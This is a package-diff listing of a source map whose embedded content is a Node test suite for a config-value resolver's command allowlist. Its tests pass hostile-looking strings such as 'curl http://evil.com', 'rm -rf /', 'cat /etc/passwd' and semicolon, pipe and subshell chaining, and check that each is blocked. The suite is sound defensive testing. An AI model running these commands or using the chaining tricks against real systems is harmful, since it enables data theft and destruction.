@cmetech/otto 1.1.1 → 1.2.4

package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map

@@ -1 +1 @@
-{"version":3,"file":"resolve-config-value.test.js","sourceRoot":"","sources":["../../src/core/resolve-config-value.test.ts"],"names":[],"mappings":"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","sourcesContent":["import { describe, it, beforeEach, afterEach } from \"node:test\";\nimport assert from \"node:assert/strict\";\nimport {\n\tresolveConfigValue,\n\tclearConfigValueCache,\n\tSAFE_COMMAND_PREFIXES,\n\tsetAllowedCommandPrefixes,\n\tgetAllowedCommandPrefixes,\n} from \"./resolve-config-value.js\";\n\nbeforeEach(() => {\n\tclearConfigValueCache();\n});\n\ndescribe(\"SAFE_COMMAND_PREFIXES\", () => {\n\tit(\"exports the allowlist array\", () => {\n\t\tassert.ok(Array.isArray(SAFE_COMMAND_PREFIXES));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.length > 0);\n\t});\n\n\tit(\"includes expected credential tools\", () => {\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"pass\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"op\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"aws\"));\n\t});\n});\n\ndescribe(\"resolveConfigValue — non-command values\", () => {\n\tit(\"returns the literal value when it does not match an env var\", () => {\n\t\tconst result = resolveConfigValue(\"my-literal-key\");\n\t\tassert.equal(result, \"my-literal-key\");\n\t});\n\n\tit(\"returns the env var value when the config matches an env var name\", () => {\n\t\tprocess.env[\"TEST_RESOLVE_CONFIG_VAR\"] = \"env-value\";\n\t\tconst result = resolveConfigValue(\"TEST_RESOLVE_CONFIG_VAR\");\n\t\tassert.equal(result, \"env-value\");\n\t\tdelete process.env[\"TEST_RESOLVE_CONFIG_VAR\"];\n\t});\n});\n\ndescribe(\"resolveConfigValue — command allowlist enforcement\", () => {\n\tit(\"blocks a disallowed command and returns undefined\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tconst result = resolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"curl\")));\n\t});\n\n\tit(\"blocks another disallowed command (rm)\", () => {\n\t\tconst result = resolveConfigValue(\"!rm -rf /tmp/test\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks a disallowed command with no arguments\", () => {\n\t\tconst result = resolveConfigValue(\"!wget\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"allows a safe command prefix to proceed to execution\", (t) => {\n\t\t// `pass` is unlikely to be installed in CI, so we just verify it does NOT\n\t\t// return undefined due to the allowlist check — it may return undefined if\n\t\t// the binary is absent, but the block path must not be taken.\n\t\t// We confirm by checking no \"Blocked\" message appears on stderr.\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show nonexistent-entry-for-test\");\n\t\tconst blocked = stderrChunks.some((line) =>\n\t\t\tline.includes(\"Blocked disallowed command\")\n\t\t);\n\t\tassert.equal(blocked, false, \"pass should not be blocked by the allowlist\");\n\t});\n});\n\ndescribe(\"resolveConfigValue — shell operator bypass prevention\", () => {\n\tit(\"blocks semicolon chaining (pass; malicious)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key; curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks pipe operator (pass | evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key | cat /etc/passwd\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks && chaining (pass && evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key && rm -rf /\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks || chaining (pass || evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key || curl evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks backtick subshell (pass `evil`)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show `curl evil.com`\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks $() subshell (pass $(evil))\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show $(curl evil.com)\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks output redirection (pass > file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key > /tmp/stolen\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks input redirection (pass < file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key < /dev/null\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"writes stderr warning when shell operators detected\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show key; curl evil.com\");\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"shell operators\")));\n\t});\n});\n\ndescribe(\"resolveConfigValue — caching\", () => {\n\tit(\"caches the result of a blocked command\", (t) => {\n\t\tconst callCount = { n: 0 };\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tcallCount.n++;\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t// The block warning should only fire once; the second call hits the cache\n\t\t// before reaching the allowlist check, so stderr count is 1.\n\t\tassert.equal(callCount.n, 1);\n\t});\n\n\tit(\"clearConfigValueCache resets cached entries\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 1);\n\n\t\tclearConfigValueCache();\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 2);\n\t});\n});\n\ndescribe(\"REGRESSION #666: non-default credential tool blocked with no override\", () => {\n\tafterEach(() => {\n\t\tsetAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);\n\t\tclearConfigValueCache();\n\t});\n\n\tit(\"sops is blocked by default, then unblocked by setAllowedCommandPrefixes\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\t// Bug: sops is not in SAFE_COMMAND_PREFIXES, so it's blocked\n\t\tconst result = resolveConfigValue(\"!sops decrypt --output-type json secrets.enc.json\");\n\t\tassert.equal(result, undefined, \"sops is blocked by the hardcoded allowlist\");\n\t\tassert.ok(\n\t\t\tstderrChunks.some((line) => line.includes('Blocked disallowed command: \"sops\"')),\n\t\t\t\"should log a block message for sops\",\n\t\t);\n\n\t\tstderrChunks.length = 0;\n\t\tclearConfigValueCache();\n\n\t\t// Fix: override the allowlist to include sops\n\t\tsetAllowedCommandPrefixes([...SAFE_COMMAND_PREFIXES, \"sops\"]);\n\t\tresolveConfigValue(\"!sops decrypt --output-type json secrets.enc.json\");\n\n\t\tconst blockedAfterOverride = stderrChunks.some((line) =>\n\t\t\tline.includes(\"Blocked disallowed command\"),\n\t\t);\n\t\tassert.equal(blockedAfterOverride, false, \"sops must not be blocked after override\");\n\t});\n});\n\ndescribe(\"setAllowedCommandPrefixes — user override\", () => {\n\tafterEach(() => {\n\t\tsetAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);\n\t\tclearConfigValueCache();\n\t});\n\n\tit(\"overrides built-in prefixes with custom list\", () => {\n\t\tsetAllowedCommandPrefixes([\"sops\", \"doppler\"]);\n\t\tassert.deepEqual([...getAllowedCommandPrefixes()], [\"sops\", \"doppler\"]);\n\t});\n\n\tit(\"custom prefix is allowed through to execution\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tsetAllowedCommandPrefixes([\"mycli\"]);\n\t\tresolveConfigValue(\"!mycli get-secret\");\n\t\tconst blocked = stderrChunks.some((line) => 